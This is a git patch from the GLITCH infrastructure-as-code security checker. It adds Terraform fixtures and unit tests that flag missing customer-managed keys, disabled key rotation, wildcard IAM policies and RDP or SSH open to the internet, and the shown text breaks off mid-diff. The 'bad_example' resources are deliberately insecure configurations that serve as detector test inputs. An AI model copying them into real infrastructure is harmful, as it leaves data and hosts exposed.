index 00000000..382ae65d --- /dev/null +++ b/glitch/tests/security/terraform/files/key-management/aws-ebs-use-cmk.tf @@ -0,0 +1,13 @@ +resource "aws_ebs_volume" "bad_example" { + encrypted = true +} + +resource "aws_ebs_volume" "bad_example2" { + encrypted = true + kms_key_id = "" +} + +resource "aws_ebs_volume" "good_example" { + encrypted = true + kms_key_id = aws_kms_key.ebs_encryption.arn +} diff --git a/glitch/tests/security/terraform/files/key-management/aws-ecr-use-cmk.tf b/glitch/tests/security/terraform/files/key-management/aws-ecr-use-cmk.tf new file mode 100644 index 00000000..d80b1370 --- /dev/null +++ b/glitch/tests/security/terraform/files/key-management/aws-ecr-use-cmk.tf @@ -0,0 +1,25 @@ +resource "aws_ecr_repository" "bad_example" { + image_tag_mutability = "IMMUTABLE" + + encryption_configuration { + encryption_type = "KMS" + } +} + +resource "aws_ecr_repository" "bad_example2" { + image_tag_mutability = "IMMUTABLE" + + encryption_configuration { + encryption_type = "KMS" + kms_key = "" + } +} + +resource "aws_ecr_repository" "good_example" { + image_tag_mutability = "IMMUTABLE" + + encryption_configuration { + encryption_type = "KMS" + kms_key = aws_kms_key.ecr_kms.key_id + } +} diff --git a/glitch/tests/security/terraform/files/key-management/aws-kinesis-stream-use-cmk.tf b/glitch/tests/security/terraform/files/key-management/aws-kinesis-stream-use-cmk.tf new file mode 100644 index 00000000..c81ab8cb --- /dev/null +++ b/glitch/tests/security/terraform/files/key-management/aws-kinesis-stream-use-cmk.tf @@ -0,0 +1,13 @@ +resource "aws_kinesis_stream" "bad_example" { + encryption_type = "KMS" +} + +resource "aws_kinesis_stream" "bad_example2" { + encryption_type = "KMS" + kms_key_id = "" +} + +resource "aws_kinesis_stream" "good_example" { + encryption_type = "KMS" + kms_key_id = "my/special/key" +} diff --git a/glitch/tests/security/terraform/files/key-management/aws-kms-auto-rotate-keys.tf b/glitch/tests/security/terraform/files/key-management/aws-kms-auto-rotate-keys.tf new file mode 100644 index 00000000..a538d987 --- /dev/null +++ b/glitch/tests/security/terraform/files/key-management/aws-kms-auto-rotate-keys.tf @@ -0,0 +1,10 @@ +resource "aws_kms_key" "bad_example" { +} + +resource "aws_kms_key" "bad_example2" { + enable_key_rotation = false +} + +resource "aws_kms_key" "good_example" { + enable_key_rotation = true +} diff --git a/glitch/tests/security/terraform/files/key-management/aws-neptune-use-cmk.tf b/glitch/tests/security/terraform/files/key-management/aws-neptune-use-cmk.tf new file mode 100644 index 00000000..23799ee0 --- /dev/null +++ b/glitch/tests/security/terraform/files/key-management/aws-neptune-use-cmk.tf @@ -0,0 +1,16 @@ +resource "aws_neptune_cluster" "bad_example" { + storage_encrypted = true + enable_cloudwatch_logs_exports = ["audit"] +} + +resource "aws_neptune_cluster" "bad_example2" { + storage_encrypted = true + enable_cloudwatch_logs_exports = ["audit"] + kms_key_arn = "" +} + +resource "aws_neptune_cluster" "good_example" { + storage_encrypted = true + enable_cloudwatch_logs_exports = ["audit"] + kms_key_arn = aws_kms_key.example.arn +} diff --git a/glitch/tests/security/terraform/files/key-management/aws-sns-topic-encryption-use-cmk.tf b/glitch/tests/security/terraform/files/key-management/aws-sns-topic-encryption-use-cmk.tf new file mode 100644 index 00000000..e00fd315 --- /dev/null +++ b/glitch/tests/security/terraform/files/key-management/aws-sns-topic-encryption-use-cmk.tf @@ -0,0 +1,10 @@ +resource "aws_sns_topic" "bad_example" { +} + +resource "aws_sns_topic" "bad_example" { + kms_master_key_id = "" +} + +resource "aws_sns_topic" "good_example2" { + kms_master_key_id = "/blah" +} diff --git a/glitch/tests/security/terraform/files/key-management/aws-sqs-queue-encryption-use-cmk.tf b/glitch/tests/security/terraform/files/key-management/aws-sqs-queue-encryption-use-cmk.tf new file mode 100644 index 00000000..25d0cf73 --- /dev/null +++ b/glitch/tests/security/terraform/files/key-management/aws-sqs-queue-encryption-use-cmk.tf @@ -0,0 +1,10 @@ +resource "aws_sqs_queue" "bad_example" { +} + +resource "aws_sqs_queue" "bad_example" { + kms_master_key_id = "" +} + +resource "aws_sqs_queue" "good_example2" { + kms_master_key_id = "/blah" +} diff --git a/glitch/tests/security/terraform/files/key-management/aws-ssm-secret-use-cmk.tf b/glitch/tests/security/terraform/files/key-management/aws-ssm-secret-use-cmk.tf new file mode 100644 index 00000000..7b86cebc --- /dev/null +++ b/glitch/tests/security/terraform/files/key-management/aws-ssm-secret-use-cmk.tf @@ -0,0 +1,13 @@ +resource "aws_secretsmanager_secret" "bad_example" { + name = "lambda_password" +} + +resource "aws_secretsmanager_secret" "bad_example2" { + name = "lambda_password" + kms_key_id = "" +} + +resource "aws_secretsmanager_secret" "good_example" { + name = "lambda_password" + kms_key_id = aws_kms_key.secrets.arn +} diff --git a/glitch/tests/security/terraform/files/key-management/azure-keyvault-ensure-key-expiration-date.tf b/glitch/tests/security/terraform/files/key-management/azure-keyvault-ensure-key-expiration-date.tf new file mode 100644 index 00000000..bdb1a780 --- /dev/null +++ b/glitch/tests/security/terraform/files/key-management/azure-keyvault-ensure-key-expiration-date.tf @@ -0,0 +1,10 @@ +resource "azurerm_key_vault_key" "bad_example" { +} + +resource "azurerm_key_vault_key" "bad_example2" { + expiration_date = "" +} + +resource "azurerm_key_vault_key" "good_example" { + expiration_date = "1990-12-31T00:00:00Z" +} diff --git a/glitch/tests/security/terraform/files/key-management/azure-storage-account-use-cmk.tf b/glitch/tests/security/terraform/files/key-management/azure-storage-account-use-cmk.tf new file mode 100644 index 00000000..2c845ae6 --- /dev/null +++ b/glitch/tests/security/terraform/files/key-management/azure-storage-account-use-cmk.tf @@ -0,0 +1,29 @@ +resource "azurerm_storage_account" "storage_account_bad" { + queue_properties { + logging { + delete = true + read = true + write = true + } + } + network_rules { + default_action = "deny" + } +} + +resource "azurerm_storage_account" "storage_account_good_1" { + queue_properties { + logging { + delete = true + read = true + write = true + } + } + network_rules { + default_action = "deny" + } +} + +resource "azurerm_storage_account_customer_managed_key" "managed_key_good" { + storage_account_id = azurerm_storage_account.storage_account_good_1.id +} diff --git a/glitch/tests/security/terraform/files/key-management/google-compute-disk-encryption-use-cmk.tf b/glitch/tests/security/terraform/files/key-management/google-compute-disk-encryption-use-cmk.tf new file mode 100644 index 00000000..e106fc59 --- /dev/null +++ b/glitch/tests/security/terraform/files/key-management/google-compute-disk-encryption-use-cmk.tf @@ -0,0 +1,14 @@ +resource "google_compute_disk" "bad_example" { +} + +resource "google_compute_disk" "bad_example2" { + disk_encryption_key { + kms_key_self_link = "" + } +} + +resource "google_compute_disk" "good_example" { + disk_encryption_key { + kms_key_self_link = "something" + } +} diff --git a/glitch/tests/security/terraform/files/key-management/google-compute-no-project-wide-ssh-keys.tf b/glitch/tests/security/terraform/files/key-management/google-compute-no-project-wide-ssh-keys.tf new file mode 100644 index 00000000..740ce8d4 --- /dev/null +++ b/glitch/tests/security/terraform/files/key-management/google-compute-no-project-wide-ssh-keys.tf @@ -0,0 +1,32 @@ +resource "google_compute_instance" "bad_example" { + boot_disk { + kms_key_self_link = "something" + } + service_account { + email = google_service_account.default.email + } +} + +resource "google_compute_instance" "bad_example2" { + metadata = { + block-project-ssh-keys = false + } + boot_disk { + kms_key_self_link = "somethingg" + } + service_account { + email = google_service_account.default.email + } +} + +resource "google_compute_instance" "good_example" { + metadata = { + block-project-ssh-keys = true + } + boot_disk { + kms_key_self_link = "somethingggg" + } + service_account { + email = google_service_account.default.email + } +} diff --git a/glitch/tests/security/terraform/files/key-management/google-compute-vm-disk-encryption-use-cmk.tf b/glitch/tests/security/terraform/files/key-management/google-compute-vm-disk-encryption-use-cmk.tf new file mode 100644 index 00000000..b98a70f3 --- /dev/null +++ b/glitch/tests/security/terraform/files/key-management/google-compute-vm-disk-encryption-use-cmk.tf @@ -0,0 +1,34 @@ +resource "google_compute_instance" "bad_example" { + metadata = { + block-project-ssh-keys = true + } + service_account { + email = google_service_account.default.email + } +} + +resource "google_compute_instance" "bad_example2" { + boot_disk { + kms_key_self_link = "" + } + + metadata = { + block-project-ssh-keys = true + } + service_account { + email = google_service_account.default.email + } +} + +resource "google_compute_instance" "good_example" { + boot_disk { + kms_key_self_link = "something" + } + + metadata = { + block-project-ssh-keys = true + } + service_account { + email = google_service_account.default.email + } +} diff --git a/glitch/tests/security/terraform/files/key-management/google-kms-rotate-kms-keys.tf b/glitch/tests/security/terraform/files/key-management/google-kms-rotate-kms-keys.tf new file mode 100644 index 00000000..e3a7e2d5 --- /dev/null +++ b/glitch/tests/security/terraform/files/key-management/google-kms-rotate-kms-keys.tf @@ -0,0 +1,22 @@ +resource "google_kms_crypto_key" "bad_example" { + name = "crypto-key-example" + key_ring = google_kms_key_ring.keyring.id +} + +resource "google_kms_crypto_key" "bad_example2" { + name = "crypto-key-example" + key_ring = google_kms_key_ring.keyring.id + rotation_period = "7776001s" +} + +resource "google_kms_crypto_key" "bad_example3" { + name = "crypto-key-example" + key_ring = google_kms_key_ring.keyring.id + rotation_period = "something" +} + +resource "google_kms_crypto_key" "good_example" { + name = "crypto-key-example" + key_ring = google_kms_key_ring.keyring.id + rotation_period = "7776000s" +} diff --git a/glitch/tests/security/terraform/files/key-management/rds-cluster-use-cmk.tf b/glitch/tests/security/terraform/files/key-management/rds-cluster-use-cmk.tf new file mode 100644 index 00000000..cd71da5c --- /dev/null +++ b/glitch/tests/security/terraform/files/key-management/rds-cluster-use-cmk.tf @@ -0,0 +1,13 @@ +resource "aws_rds_cluster" "bad_example" { + storage_encrypted = true +} + +resource "aws_rds_cluster" "bad_example2" { + storage_encrypted = true + kms_key_id = "" +} + +resource "aws_rds_cluster" "good_example" { + storage_encrypted = true + kms_key_id = "arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab" +} diff --git a/glitch/tests/security/terraform/files/key-management/rds-instance-use-cmk.tf b/glitch/tests/security/terraform/files/key-management/rds-instance-use-cmk.tf new file mode 100644 index 00000000..d676872c --- /dev/null +++ b/glitch/tests/security/terraform/files/key-management/rds-instance-use-cmk.tf @@ -0,0 +1,21 @@ +resource "aws_db_instance" "bad_example" { + storage_encrypted = true + performance_insights_enabled = true + performance_insights_kms_key_id = "arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab" +} + +resource "aws_db_instance" "bad_example2" { + kms_key_id = "" + + storage_encrypted = true + performance_insights_enabled = true + performance_insights_kms_key_id = "arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab" +} + +resource "aws_db_instance" "good_example" { + kms_key_id = "arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab" + + storage_encrypted = true + performance_insights_enabled = true + performance_insights_kms_key_id = "arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab" +} diff --git a/glitch/tests/security/terraform/files/key-management/rds-performance-insights-use-cmk.tf b/glitch/tests/security/terraform/files/key-management/rds-performance-insights-use-cmk.tf new file mode 100644 index 00000000..f40b08a6 --- /dev/null +++ b/glitch/tests/security/terraform/files/key-management/rds-performance-insights-use-cmk.tf @@ -0,0 +1,16 @@ +resource "aws_rds_cluster_instance" "bad_example" { + storage_encrypted = true + performance_insights_enabled = true +} + +resource "aws_rds_cluster_instance" "bad_example2" { + storage_encrypted = true + performance_insights_enabled = true + performance_insights_kms_key_id = "" +} + +resource "aws_rds_cluster_instance" "good_example" { + storage_encrypted = true + performance_insights_enabled = true + performance_insights_kms_key_id = "arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab" +} diff --git a/glitch/tests/security/terraform/files/key-management/redshift-cluster-use-cmk.tf b/glitch/tests/security/terraform/files/key-management/redshift-cluster-use-cmk.tf new file mode 100644 index 00000000..60b4a7fc --- /dev/null +++ b/glitch/tests/security/terraform/files/key-management/redshift-cluster-use-cmk.tf @@ -0,0 +1,13 @@ +resource "aws_redshift_cluster" "bad_example" { + encrypted = true +} + +resource "aws_redshift_cluster" "bad_example2" { + encrypted = true + kms_key_id = "" +} + +resource "aws_redshift_cluster" "good_example" { + encrypted = true + kms_key_id = aws_kms_key.redshift.key_id +} \ No newline at end of file diff --git a/glitch/tests/security/terraform/files/key-management/s3-encryption-customer-key.tf b/glitch/tests/security/terraform/files/key-management/s3-encryption-customer-key.tf new file mode 100644 index 00000000..c4250d78 --- /dev/null +++ b/glitch/tests/security/terraform/files/key-management/s3-encryption-customer-key.tf @@ -0,0 +1,101 @@ +resource "aws_s3_bucket" "bad_example" { + logging { + } + versioning { + enabled = true + } +} + +resource "aws_s3_bucket_server_side_encryption_configuration" "bad_example" { + bucket = aws_s3_bucket.bad_example.id + rule { + apply_server_side_encryption_by_default { + sse_algorithm = "aes256" + } + } +} + +resource "aws_s3_bucket_replication_configuration" "bad_example" { + bucket = aws_s3_bucket.bad_example.id + rule { + status = "Enabled" + } +} + +resource "aws_s3_bucket_public_access_block" "bad_example" { + bucket = aws_s3_bucket.bad_example.id + block_public_acls = true + ignore_public_acls = true + block_public_policy = true + restrict_public_buckets = true +} + +# ---------------------------------------------------------------------------- + +resource "aws_s3_bucket" "bad_example2" { + logging { + } + versioning { + enabled = true + } +} + +resource "aws_s3_bucket_server_side_encryption_configuration" "bad_example2" { + bucket = aws_s3_bucket.bad_example2.id + rule { + apply_server_side_encryption_by_default { + kms_master_key_id = "" + sse_algorithm = "aes256" + } + } +} + +resource "aws_s3_bucket_replication_configuration" "bad_example2" { + bucket = aws_s3_bucket.bad_example2.id + rule { + status = "Enabled" + } +} + +resource "aws_s3_bucket_public_access_block" "bad_example2" { + bucket = aws_s3_bucket.bad_example2.id + block_public_acls = true + ignore_public_acls = true + block_public_policy = true + restrict_public_buckets = true +} + +# ---------------------------------------------------------------------------- + +resource "aws_s3_bucket" "good_example" { + logging { + } + versioning { + enabled = true + } +} + +resource "aws_s3_bucket_server_side_encryption_configuration" "good_example" { + bucket = aws_s3_bucket.good_example.id + rule { + apply_server_side_encryption_by_default { + kms_master_key_id = "something" + sse_algorithm = "aes256" + } + } +} + +resource "aws_s3_bucket_replication_configuration" "bad_example" { + bucket = aws_s3_bucket.good_example.id + rule { + status = "Enabled" + } +} + +resource "aws_s3_bucket_public_access_block" "good_example" { + bucket = aws_s3_bucket.good_example.id + block_public_acls = true + ignore_public_acls = true + block_public_policy = true + restrict_public_buckets = true +} diff --git a/glitch/tests/security/terraform/files/missing-encryption/rds-encrypt-instance-storage-data.tf b/glitch/tests/security/terraform/files/missing-encryption/rds-encrypt-instance-storage-data.tf index 96eb1d3c..6eaead18 100644 --- a/glitch/tests/security/terraform/files/missing-encryption/rds-encrypt-instance-storage-data.tf +++ b/glitch/tests/security/terraform/files/missing-encryption/rds-encrypt-instance-storage-data.tf @@ -1,16 +1,19 @@ resource "aws_db_instance" "bad_example" { kms_key_id = "arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab" + performance_insights_enabled = true performance_insights_kms_key_id = "something" } resource "aws_db_instance" "bad_example2" { storage_encrypted = false performance_insights_kms_key_id = "something" + performance_insights_enabled = true kms_key_id = "arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab" } resource "aws_db_instance" "good_example" { storage_encrypted = true performance_insights_kms_key_id = "something" + performance_insights_enabled = true kms_key_id = "arn:aws:kms:us-west-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab" } diff --git a/glitch/tests/security/terraform/files/missing-encryption/unencrypted-sns-topic.tf b/glitch/tests/security/terraform/files/missing-encryption/unencrypted-sns-topic.tf deleted file mode 100644 index 8370fe9d..00000000 --- a/glitch/tests/security/terraform/files/missing-encryption/unencrypted-sns-topic.tf +++ /dev/null @@ -1,10 +0,0 @@ -resource "aws_sns_topic" "bad_example" { -} - -resource "aws_sns_topic" "bad_example2" { - kms_master_key_id = "" -} - -resource "aws_sns_topic" "good_example" { - kms_master_key_id = "alias/aws/sns" -} diff --git a/glitch/tests/security/terraform/files/missing-encryption/unencrypted-sqs-queue.tf b/glitch/tests/security/terraform/files/missing-encryption/unencrypted-sqs-queue.tf deleted file mode 100644 index ff2ba925..00000000 --- a/glitch/tests/security/terraform/files/missing-encryption/unencrypted-sqs-queue.tf +++ /dev/null @@ -1,10 +0,0 @@ -resource "aws_sqs_queue" "bad_example" { -} - -resource "aws_sqs_queue" "bad_example2" { - kms_master_key_id = "" -} - -resource "aws_sqs_queue" "good_example" { - kms_master_key_id = "alias/aws/sns" -} diff --git a/glitch/tests/security/terraform/files/sensitive-action-by-iam/aws-iam-no-policy-wildcards.tf b/glitch/tests/security/terraform/files/sensitive-action-by-iam/aws-iam-no-policy-wildcards.tf new file mode 100644 index 00000000..ebf14f02 --- /dev/null +++ b/glitch/tests/security/terraform/files/sensitive-action-by-iam/aws-iam-no-policy-wildcards.tf @@ -0,0 +1,45 @@ +data "aws_iam_policy_document" "bad_example" { + statement { + principals { + type = "AWS" + identifiers = ["arn:aws:iam::${data.aws_caller_identity.current.account_id}:root"] + } + actions = ["s3:*"] + resources = ["*"] + } +} + +data "aws_iam_policy_document" "bad_example2" { + statement { + principals { + type = "AWS" + identifiers = ["arn:aws:iam::${data.aws_caller_identity.current.account_id}:root"] + } + effect = "Allow" + actions = ["s3:GetObject"] + resources = ["*"] + } +} + +data "aws_iam_policy_document" "good_example" { + statement { + principals { + type = "AWS" + identifiers = ["arn:aws:iam::${data.aws_caller_identity.current.account_id}:root"] + } + actions = ["s3:GetObject"] + resources = [aws_s3_bucket.example.arn] + } +} + +data "aws_iam_policy_document" "good_example2" { + statement { + principals { + type = "AWS" + identifiers = ["arn:aws:iam::${data.aws_caller_identity.current.account_id}:root"] + } + effect = "Deny" + actions = ["s3:GetObject"] + resources = ["*"] + } +} diff --git a/glitch/tests/security/terraform/test_security.py b/glitch/tests/security/terraform/test_security.py index 5b784ef5..5aa7549f 100644 --- a/glitch/tests/security/terraform/test_security.py +++ b/glitch/tests/security/terraform/test_security.py @@ -79,7 +79,7 @@ def test_terraform_insecure_access_control(self): ) self.__help_test( "tests/security/terraform/files/insecure-access-control/aws-database-instance-publicly-accessible.tf", - 2, ["sec_access_control", "sec_access_control"], [2, 16] + 2, ["sec_access_control", "sec_access_control"], [2, 18] ) self.__help_test( "tests/security/terraform/files/insecure-access-control/aws-sqs-no-wildcards-in-policy.tf", @@ -366,7 +366,7 @@ def test_terraform_missing_encryption(self): ) self.__help_test( "tests/security/terraform/files/missing-encryption/rds-encrypt-instance-storage-data.tf", - 2, ["sec_missing_encryption", "sec_missing_encryption"], [1, 7] + 2, ["sec_missing_encryption", "sec_missing_encryption"], [1, 8] ) self.__help_test( "tests/security/terraform/files/missing-encryption/redshift-cluster-rest-encryption.tf", @@ -376,14 +376,6 @@ def test_terraform_missing_encryption(self): "tests/security/terraform/files/missing-encryption/unencrypted-s3-bucket.tf", 2, ["sec_missing_encryption", "sec_missing_encryption"], [25, 64] ) - self.__help_test( - "tests/security/terraform/files/missing-encryption/unencrypted-sns-topic.tf", - 2, ["sec_missing_encryption", "sec_missing_encryption"], [1, 5] - ) - self.__help_test( - "tests/security/terraform/files/missing-encryption/unencrypted-sqs-queue.tf", - 2, ["sec_missing_encryption", "sec_missing_encryption"], [1, 5] - ) self.__help_test( "tests/security/terraform/files/missing-encryption/workspaces-disk-encryption.tf", 6, ["sec_missing_encryption", "sec_missing_encryption", "sec_missing_encryption", "sec_missing_encryption", @@ -636,5 +628,106 @@ def test_terraform_integrity_policy(self): 1, ["sec_integrity_policy"], [3] ) + def test_terraform_sensitive_action_by_iam(self): + self.__help_test( + "tests/security/terraform/files/sensitive-action-by-iam/aws-iam-no-policy-wildcards.tf", + 2, ["sec_sensitive_iam_action", "sec_sensitive_iam_action"], [7, 19] + ) + + def test_terraform_key_management(self): + self.__help_test( + "tests/security/terraform/files/key-management/aws-cloudtrail-encryption-use-cmk.tf", + 2, ["sec_key_management", "sec_key_management"], [1, 8] + ) + self.__help_test( + "tests/security/terraform/files/key-management/aws-cloudwatch-log-group-customer-key.tf", + 2, ["sec_key_management", "sec_key_management"], [1, 6] + ) + self.__help_test( + "tests/security/terraform/files/key-management/aws-documentdb-use-cmk.tf", + 2, ["sec_key_management", "sec_key_management"], [1, 7] + ) + self.__help_test( + "tests/security/terraform/files/key-management/aws-dynamodb-table-use-cmk.tf", + 2, ["sec_key_management", "sec_key_management"], [1, 10] + ) + self.__help_test( + "tests/security/terraform/files/key-management/aws-ebs-use-cmk.tf", + 2, ["sec_key_management", "sec_key_management"], [1, 7] + ) + self.__help_test( + "tests/security/terraform/files/key-management/aws-ecr-use-cmk.tf", + 2, ["sec_key_management", "sec_key_management"], [1, 14] + ) + self.__help_test( + "tests/security/terraform/files/key-management/aws-kinesis-stream-use-cmk.tf", + 2, ["sec_key_management", "sec_key_management"], [1, 7] + ) + self.__help_test( + "tests/security/terraform/files/key-management/aws-kms-auto-rotate-keys.tf", + 2, ["sec_key_management", "sec_key_management"], [1, 5] + ) + self.__help_test( + "tests/security/terraform/files/key-management/aws-neptune-use-cmk.tf", + 2, ["sec_key_management", "sec_key_management"], [1, 9] + ) + self.__help_test( + "tests/security/terraform/files/key-management/aws-sns-topic-encryption-use-cmk.tf", + 2, ["sec_key_management", "sec_key_management"], [1, 5] + ) + self.__help_test( + "tests/security/terraform/files/key-management/aws-sqs-queue-encryption-use-cmk.tf", + 2, ["sec_key_management", "sec_key_management"], [1, 5] + ) + self.__help_test( + "tests/security/terraform/files/key-management/aws-ssm-secret-use-cmk.tf", + 2, ["sec_key_management", "sec_key_management"], [1, 7] + ) + self.__help_test( + "tests/security/terraform/files/key-management/azure-keyvault-ensure-key-expiration-date.tf", + 2, ["sec_key_management", "sec_key_management"], [1, 5] + ) + self.__help_test( + "tests/security/terraform/files/key-management/azure-storage-account-use-cmk.tf", + 1, ["sec_key_management"], [1] + ) + self.__help_test( + "tests/security/terraform/files/key-management/google-compute-disk-encryption-use-cmk.tf", + 2, ["sec_key_management", "sec_key_management"], [1, 6] + ) + self.__help_test( + "tests/security/terraform/files/key-management/google-compute-no-project-wide-ssh-keys.tf", + 2, ["sec_key_management", "sec_key_management"], [1, 12] + ) + self.__help_test( + "tests/security/terraform/files/key-management/google-compute-vm-disk-encryption-use-cmk.tf", + 2, ["sec_key_management", "sec_key_management"], [1, 12] + ) + self.__help_test( + "tests/security/terraform/files/key-management/google-kms-rotate-kms-keys.tf", + 3, ["sec_key_management", "sec_key_management", "sec_key_management"], [1, 9, 15] + ) + self.__help_test( + "tests/security/terraform/files/key-management/rds-cluster-use-cmk.tf", + 2, ["sec_key_management", "sec_key_management"], [1, 7] + ) + self.__help_test( + "tests/security/terraform/files/key-management/rds-instance-use-cmk.tf", + 2, ["sec_key_management", "sec_key_management"], [1, 8] + ) + self.__help_test( + "tests/security/terraform/files/key-management/rds-performance-insights-use-cmk.tf", + 2, ["sec_key_management", "sec_key_management"], [1, 9] + ) + self.__help_test( + "tests/security/terraform/files/key-management/redshift-cluster-use-cmk.tf", + 2, ["sec_key_management", "sec_key_management"], [1, 7] + ) + self.__help_test( + "tests/security/terraform/files/key-management/s3-encryption-customer-key.tf", + 2, ["sec_key_management", "sec_key_management"], [9, 47] + ) + + if __name__ == '__main__': unittest.main() \ No newline at end of file From da2606a27893dd734ba004081db9dbfa722df525 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Mon, 3 Apr 2023 11:51:35 +0100 Subject: [PATCH 31/58] Tests for Terraform: Network Security Rules code smell. --- .../aws-vpc-ec2-use-tcp.tf | 7 +++ ...ure-container-configured-network-policy.tf | 59 +++++++++++++++++++ ...azure-network-disable-rdp-from-internet.tf | 49 +++++++++++++++ ...azure-network-ssh-blocked-from-internet.tf | 49 +++++++++++++++ .../azure-storage-default-action-deny.tf | 51 ++++++++++++++++ .../azure-synapse-virtual-network-enabled.tf | 10 ++++ .../google-compute-no-serial-port.tf | 37 ++++++++++++ .../google-gke-enable-ip-aliasing.tf | 31 ++++++++++ .../google-gke-enable-network-policy.tf | 46 +++++++++++++++ .../tests/security/terraform/test_security.py | 37 ++++++++++++ 10 files changed, 376 insertions(+) create mode 100644 glitch/tests/security/terraform/files/network-security-rules/aws-vpc-ec2-use-tcp.tf create mode 100644 glitch/tests/security/terraform/files/network-security-rules/azure-container-configured-network-policy.tf create mode 100644 glitch/tests/security/terraform/files/network-security-rules/azure-network-disable-rdp-from-internet.tf create mode 100644 glitch/tests/security/terraform/files/network-security-rules/azure-network-ssh-blocked-from-internet.tf create mode 100644 glitch/tests/security/terraform/files/network-security-rules/azure-storage-default-action-deny.tf create mode 100644 glitch/tests/security/terraform/files/network-security-rules/azure-synapse-virtual-network-enabled.tf create mode 100644 glitch/tests/security/terraform/files/network-security-rules/google-compute-no-serial-port.tf create mode 100644 glitch/tests/security/terraform/files/network-security-rules/google-gke-enable-ip-aliasing.tf create mode 100644 glitch/tests/security/terraform/files/network-security-rules/google-gke-enable-network-policy.tf diff --git a/glitch/tests/security/terraform/files/network-security-rules/aws-vpc-ec2-use-tcp.tf b/glitch/tests/security/terraform/files/network-security-rules/aws-vpc-ec2-use-tcp.tf new file mode 100644 index 00000000..7d90c4fe --- /dev/null +++ b/glitch/tests/security/terraform/files/network-security-rules/aws-vpc-ec2-use-tcp.tf @@ -0,0 +1,7 @@ +resource "aws_network_acl_rule" "bad_example" { + protocol = -1 +} + +resource "aws_network_acl_rule" "good_example" { + protocol = "tcp" +} diff --git a/glitch/tests/security/terraform/files/network-security-rules/azure-container-configured-network-policy.tf b/glitch/tests/security/terraform/files/network-security-rules/azure-container-configured-network-policy.tf new file mode 100644 index 00000000..fd465a27 --- /dev/null +++ b/glitch/tests/security/terraform/files/network-security-rules/azure-container-configured-network-policy.tf @@ -0,0 +1,59 @@ +resource "azurerm_kubernetes_cluster" "bad_example" { + role_based_access_control_enabled = true + api_server_access_profile { + authorized_ip_ranges = ["1.1.1.1"] + } + addon_profile { + oms_agent { + log_analytics_workspace_id = "something" + } + } +} + +resource "azurerm_kubernetes_cluster" "bad_example2" { + network_profile { + network_policy = "" + } + + role_based_access_control_enabled = true + api_server_access_profile { + authorized_ip_ranges = ["1.1.1.1"] + } + addon_profile { + oms_agent { + log_analytics_workspace_id = "something" + } + } +} + +resource "azurerm_kubernetes_cluster" "good_example" { + network_profile { + network_policy = "calico" + } + + role_based_access_control_enabled = true + api_server_access_profile { + authorized_ip_ranges = ["1.1.1.1"] + } + addon_profile { + oms_agent { + log_analytics_workspace_id = "something" + } + } +} + +resource "azurerm_kubernetes_cluster" "good_example2" { + network_profile { + network_policy = "azure" + } + + role_based_access_control_enabled = true + api_server_access_profile { + authorized_ip_ranges = ["1.1.1.1"] + } + addon_profile { + oms_agent { + log_analytics_workspace_id = "something" + } + } +} diff --git a/glitch/tests/security/terraform/files/network-security-rules/azure-network-disable-rdp-from-internet.tf b/glitch/tests/security/terraform/files/network-security-rules/azure-network-disable-rdp-from-internet.tf new file mode 100644 index 00000000..688a6a31 --- /dev/null +++ b/glitch/tests/security/terraform/files/network-security-rules/azure-network-disable-rdp-from-internet.tf @@ -0,0 +1,49 @@ +resource "azurerm_network_security_rule" "bad_example" { + name = "bad_example_security_rule" + direction = "Inbound" + access = "allow" + protocol = "Tcp" + source_port_range = "*" + destination_port_range = "3389" + source_address_prefix = "*" + destination_address_prefix = "*" +} + +resource "azurerm_network_security_rule" "good_example" { + name = "bad_example_security_rule" + access = "allow" + direction = "Inbound" + protocol = "Tcp" + source_port_range = "*" + destination_port_range = "3389" + source_address_prefix = "1.2.3.4" + destination_address_prefix = "*" +} + +resource "azurerm_network_security_group" "bad_example2" { + security_rule { + name = "test123" + priority = 100 + access = "allow" + direction = "Inbound" + protocol = "tcp" + source_port_range = "*" + destination_port_range = "3389" + source_address_prefix = "*" + destination_address_prefix = "*" + } +} + +resource "azurerm_network_security_group" "good_example2" { + security_rule { + name = "test123" + access = "allow" + priority = 100 + direction = "Inbound" + protocol = "tcp" + source_port_range = "*" + destination_port_range = "3389" + source_address_prefix = "1.2.3.4" + destination_address_prefix = "*" + } +} \ No newline at end of file diff --git a/glitch/tests/security/terraform/files/network-security-rules/azure-network-ssh-blocked-from-internet.tf b/glitch/tests/security/terraform/files/network-security-rules/azure-network-ssh-blocked-from-internet.tf new file mode 100644 index 00000000..41db189e --- /dev/null +++ b/glitch/tests/security/terraform/files/network-security-rules/azure-network-ssh-blocked-from-internet.tf @@ -0,0 +1,49 @@ +resource "azurerm_network_security_rule" "bad_example" { + name = "bad_example_security_rule" + direction = "Inbound" + access = "allow" + protocol = "Tcp" + source_port_range = "*" + destination_port_ranges = ["22"] + source_address_prefix = "*" + destination_address_prefix = "*" +} + +resource "azurerm_network_security_rule" "good_example" { + name = "bad_example_security_rule" + access = "allow" + direction = "Inbound" + protocol = "Tcp" + source_port_range = "*" + destination_port_ranges = ["22"] + source_address_prefix = "1.2.3.4" + destination_address_prefix = "*" +} + +resource "azurerm_network_security_group" "bad_example2" { + security_rule { + name = "test123" + priority = 100 + access = "allow" + direction = "Inbound" + protocol = "tcp" + source_port_range = "*" + destination_port_range = "22" + source_address_prefix = "*" + destination_address_prefix = "*" + } +} + +resource "azurerm_network_security_group" "good_example2" { + security_rule { + name = "test123" + access = "allow" + priority = 100 + direction = "Inbound" + protocol = "tcp" + source_port_range = "*" + destination_port_range = "22" + source_address_prefix = "1.2.3.4" + destination_address_prefix = "*" + } +} \ No newline at end of file diff --git a/glitch/tests/security/terraform/files/network-security-rules/azure-storage-default-action-deny.tf b/glitch/tests/security/terraform/files/network-security-rules/azure-storage-default-action-deny.tf new file mode 100644 index 00000000..10716e32 --- /dev/null +++ 